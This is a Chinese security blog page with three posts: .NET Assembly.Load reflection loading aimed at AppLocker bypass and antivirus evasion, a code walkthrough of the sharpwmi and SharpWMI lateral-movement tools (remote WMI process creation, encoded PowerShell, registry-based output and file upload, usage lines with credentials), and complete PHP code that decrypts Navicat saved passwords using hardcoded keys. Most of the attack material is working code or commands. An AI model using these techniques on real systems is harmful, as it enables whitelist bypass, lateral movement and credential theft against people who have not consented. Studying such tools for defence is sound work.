分类 网络安全 下的文章

Assembly Load学习

看到文章《利用Assembly Load & LoadFile绕过Applocker的分析总结》,想到不仅仅可以绕过applock,还可以用在一些免杀中,自己简单地看了下原理,就写个记录,后期还会有一些C#的一些利用手法。

原理

在.Net 中,程序集(Assembly)中保存了元数据(MetaData)信息,因此就可以通过分析元数据来获取程序集中的内容,比如类,方法,属性等,这大大方便了在运行时去动态创建实例。

主要用途:

动态加载DLL,实现插件机制。
实例化DLL中的类型。
执行后期绑定,访问在运行时创建的类型的方法。
动态加载EXE,实现动态调用EXE中函数方法,实现内存加载。

加载dll执行

新建.net类库项目
代码如下

using System;

namespace DllDemo
{
    public class ClassGreenerycn
    {
        public void Hello()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
            p.Start();
        }
    }
}

然后新建个控制台应用项目调用这个dll

using System.Reflection;

namespace ReflectionDllDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            var asm = Assembly.LoadFile(@"C:\Users\f1veT\Desktop\1.dll");

            var type = asm.GetType("DllDemo.ClassGreenerycn");

            var instance = asm.CreateInstance("DllDemo.ClassGreenerycn");
            var method = type.GetMethod("Hello");
            method.Invoke(instance, null);
        }
    }
}

-w1132
这是正常C#动态加载程序集的过程,那么我们可以吧shellcode编译成dll,然后利用exe加载也可以。
还有就是利用powershell加载exe/dll文件,达到绕过白名单的作用

powershell绕过白名单利用过程

加载C#代码
首先创建一个空白项目,这里使用.net2.0
-w980

 using System;
using System.Collections.Generic;
using System.Text;

public class Program
{
    public static void Main()
    {
        Console.WriteLine("Hey There From Main()");
    }

}
public class aaa
{
    public static void start()
    {
        System.Diagnostics.Process p = new System.Diagnostics.Process();
        p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
        p.Start();
    }
}

接下来是有两种加载方法,一种是利用C#加载,还有就是使用powershell加载

Assembly Load:https://docs.microsoft.com/zh-cn/dotnet/api/system.reflection.assembly.load?view=netcore-3.1
Assembly Loadfile:https://docs.microsoft.com/zh-cn/dotnet/api/system.reflection.assembly.loadfile?view=netcore-3.1 

-w660
-w749
-w644

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8Assembly-Load-&-LoadFile%E7%BB%95%E8%BF%87Applocker%E7%9A%84%E5%88%86%E6%9E%90%E6%80%BB%E7%BB%93/
https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/

SharpWMI-基于135端口来进行横向移动的工具

这两天逛github看到Ateam的师傅们上了个工具sharpwmi
想到上个月在哪里看到一个相似功能的工具SharpWMI,就把两个工具放在一起看下代码,正好最近还在学C#。


sharpwmi-Ateam

这个工具的注释和作者的代码都比较清晰,所以先看下这个。

使用说明

sharpwmi.exe 192.168.2.3 administrator 123 cmd whoami

介绍

这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过注册表来进行数据传输.

执行命令

通过wmi来执行命令,server将命令结果存在本机注册表,然后client连接注册表进行读取命令结果

上传文件

client将需要上传的文件放到server的注册表里面,然后server通过powershell来操作注册表方式来取文件然后释放到本地

代码

接收传入用户名密码建立连接

ConnectionOptions options = new ConnectionOptions();
            string host = args[0];
            options.Username = args[1];
            options.Password = args[2];
            int delay = 5000;
            this.scope = new ManagementScope("\\\\" + host + "\\root\\cimv2", options);
            this.scope.Options.Impersonation = System.Management.ImpersonationLevel.Impersonate;
            this.scope.Options.EnablePrivileges = true;
            this.scope.Connect();

使用常见的命令空间\root\cimv2

执行命令存入注册表

 string powershell_command = "powershell -enc " + Base64Encode(args[4]);

                string code = "$a=(" + powershell_command + ");$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));$reg = Get-WmiObject -List -Namespace root\\default | Where-Object {$_.Name -eq \"StdRegProv\"};$reg.SetStringValue(2147483650,\"\",\"txt\",$b)";


                ExecCmd("powershell -enc " + Base64Encode(code)); //传入执行
                Console.WriteLine("[+]Exec done!\n");
                Thread.Sleep(delay);

                //this.ExecCmd("whoami");
                // 读取注册表
                ManagementClass registry = new ManagementClass(this.scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("GetStringValue");

                inParams["sSubKeyName"] = "";
                inParams["sValueName"] = "txt";
                ManagementBaseObject outParams = registry.InvokeMethod("GetStringValue", inParams, null);
                // (String)outParams["sValue"];

                Console.WriteLine("[+]output -> \n\n" + Base64Decode(outParams["sValue"].ToString()));

先将执行命令base64转换,然后利用powershell -enc执行。
在执行过程中利用$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));
将\$a 在转成base64

$reg = Get-WmiObject -List -Namespace root\\default | Where-Object {$_.Name -eq \"StdRegProv\"};$reg.SetStringValue(2147483650,\"\",\"txt\",$b)

其中2147483650值是指HKEY_LOCAL_MACHINE
StdRegProv 是 WMI 的名称空间 root\DEFAULT 中的一个子类,有16个方法。StdRegProv 类包含与系统注册表有关的方法。可用这些方法来:验证用户的访问权;创建、枚举、和删除注册表项;创建、枚举、和删除键值;读取、修改、和删除数据。
利用StdRegProv操作注册表将\$b中转码的内容写入到键值中。
然后再读取注册表内容并输出。

 public static string Base64Encode(string content)
        {
            byte[] bytes = Encoding.Unicode.GetBytes(content);
            return Convert.ToBase64String(bytes);
        }
        public static string Base64Decode(string content)
        {
            byte[] bytes = Convert.FromBase64String(content);
            return Encoding.Unicode.GetString(bytes);
        }

wmi创建远程进程执行传入powershell

public Int32 ExecCmd(string cmd)
        {

            using (var managementClass = new ManagementClass(this.scope,new ManagementPath("Win32_Process"),new ObjectGetOptions()))
            {
                var inputParams = managementClass.GetMethodParameters("Create");

                inputParams["CommandLine"] = cmd;

                var outParams = managementClass.InvokeMethod("Create", inputParams, new InvokeMethodOptions());
                return 1;
            }
        }

利用ManagementClass类初始化一个进程new ManagementPath("Win32_Process")建立进程操作对象

var inputParams = managementClass.GetMethodParameters("Create");

                inputParams["CommandLine"] = cmd;

获得用来提供参数的对象、设定命令行参数、执行程序。

文件上传

                //写注册表
                byte[] str = File.ReadAllBytes(args[4]);
                ManagementClass registry = new ManagementClass(this.scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("SetStringValue");
                inParams["hDefKey"] = 2147483650; //HKEY_LOCAL_MACHINE;
                inParams["sSubKeyName"] = @"";
                inParams["sValueName"] = "upload";
                inParams["sValue"] = Convert.ToBase64String(str);
                ManagementBaseObject outParams = registry.InvokeMethod("SetStringValue", inParams, null);
                //通过注册表还原文件
                string pscode = string.Format("$wmi = [wmiclass]\"Root\\default:stdRegProv\";$data=($wmi.GetStringValue(2147483650,\"\",\"upload\")).sValue;$byteArray = [Convert]::FromBase64String($data);[io.file]::WriteAllBytes(\"{0:s}\",$byteArray);;", args[5]);
                string powershell_command = "powershell -enc " + Base64Encode(pscode);
                Thread.Sleep(delay);
                ExecCmd(powershell_command);
                Console.WriteLine("[+]Upload file done!");
                return;

原理和上面命令执行回显相同,都是写入到注册表中,但是由于键值大小限制,无法写入过大文件。

SharpWMI-harmj0y

说明

SharpWMI是利用C#实现WMI的个中的那个。 包括本地/远程WMI查询,通过win32_process创建远程WMI进程,杀死远程进程,枚举远程防火墙信息以及通过WMI事件远程执行任意VBS。

使用

SharpWMI.exe action=query query="select * from win32_process"
SharpWMI.exe action=query query="SELECT * FROM AntiVirusProduct" namespace="root\SecurityCenter2"
SharpWMI.exe action=query computername=primary.testlab.local query="select * from win32_service"
SharpWMI.exe action=query computername=primary,secondary query="select * from win32_process"
SharpWMI.exe action=create computername=primary.testlab.local command="powershell.exe -enc ZQBj..."
SharpWMI.exe action=executevbs computername=primary.testlab.local username="TESTLAB\harmj0y" password="Password123!"

更多

这个功能更多,可以多台机器,可以执行命令,执行vbs(默认需要在代码中修改vbs脚本内容),自己看吧。
还可以直接执行wmi的查询和指定命名空间。
代码太长,拿出来和上面都差不多。Ateam师傅原理和这个的命令执行相同,但是巧妙的利用注册表存储信息,实现了回显和小文件传输的功能。

5.1快乐

https://github.com/QAX-A-Team/sharpwmi
https://github.com/GhostPack/SharpWMI

navicat解密保存密码

使用php解密密码

我在coderunner中运行php。这个稍微改了可以单文件直接用了。替换下方的密码字段,和选择删除注释对应版本行

<?php

namespace FatSmallTools;

class NavicatPassword
{
    protected $version = 0;
    protected $aesKey = 'libcckeylibcckey';
    protected $aesIv = 'libcciv libcciv ';
    protected $blowString = '3DC5CA39';
    protected $blowKey = null;
    protected $blowIv = null;

    public function __construct($version = 12)
    {
        $this->version = $version;
        $this->blowKey = sha1('3DC5CA39', true);
        $this->blowIv = hex2bin('d9c7c3c8870d64bd');
    }

    public function encrypt($string)
    {
        $result = FALSE;
        switch ($this->version) {
            case 11:
                $result = $this->encryptEleven($string);
                break;
            case 12:
                $result = $this->encryptTwelve($string);
                break;
            default:
                break;
        }

        return $result;
    }

    protected function encryptEleven($string)
    {
        $round = intval(floor(strlen($string) / 8));
        $leftLength = strlen($string) % 8;
        $result = '';
        $currentVector = $this->blowIv;

        for ($i = 0; $i < $round; $i++) {
            $temp = $this->encryptBlock($this->xorBytes(substr($string, 8 * $i, 8), $currentVector));
            $currentVector = $this->xorBytes($currentVector, $temp);
            $result .= $temp;
        }

        if ($leftLength) {
            $currentVector = $this->encryptBlock($currentVector);
            $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
        }

        return strtoupper(bin2hex($result));
    }

    protected function encryptBlock($block)
    {
        return openssl_encrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); 
    }

    protected function decryptBlock($block)
    {
        return openssl_decrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); 
    }

    protected function xorBytes($str1, $str2)
    {
        $result = '';
        for ($i = 0; $i < strlen($str1); $i++) {
            $result .= chr(ord($str1[$i]) ^ ord($str2[$i]));
        }

        return $result;
    }

    protected function encryptTwelve($string)
    {
        $result = openssl_encrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
        return strtoupper(bin2hex($result));
    }

    public function decrypt($string)
    {
        $result = FALSE;
        switch ($this->version) {
            case 11:
                $result = $this->decryptEleven($string);
                break;
            case 12:
                $result = $this->decryptTwelve($string);
                break;
            default:
                break;
        }

        return $result;
    }

    protected function decryptEleven($upperString)
    {
        $string = hex2bin(strtolower($upperString));

        $round = intval(floor(strlen($string) / 8));
        $leftLength = strlen($string) % 8;
        $result = '';
        $currentVector = $this->blowIv;

        for ($i = 0; $i < $round; $i++) {
            $encryptedBlock = substr($string, 8 * $i, 8);
            $temp = $this->xorBytes($this->decryptBlock($encryptedBlock), $currentVector);
            $currentVector = $this->xorBytes($currentVector, $encryptedBlock);
            $result .= $temp;
        }

        if ($leftLength) {
            $currentVector = $this->encryptBlock($currentVector);
            $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
        }

        return $result;
    }

    protected function decryptTwelve($upperString)
    {
        $string = hex2bin(strtolower($upperString));
        return openssl_decrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
    }
}


use FatSmallTools\NavicatPassword;

//需要指定版本,11或12
//$navicatPassword = new NavicatPassword(11);
$navicatPassword = new NavicatPassword(12);

//解密
//$decode = $navicatPassword->decrypt('15057D7BA390');
$decode = $navicatPassword->decrypt('764057479667225EEF500CD6E6F88FCD');
echo $decode."\n";

-w900

x4IiVuKLYx

https://github.com/HyperSine/how-does-navicat-encrypt-password
https://github.com/tianhe1986/FatSmallTools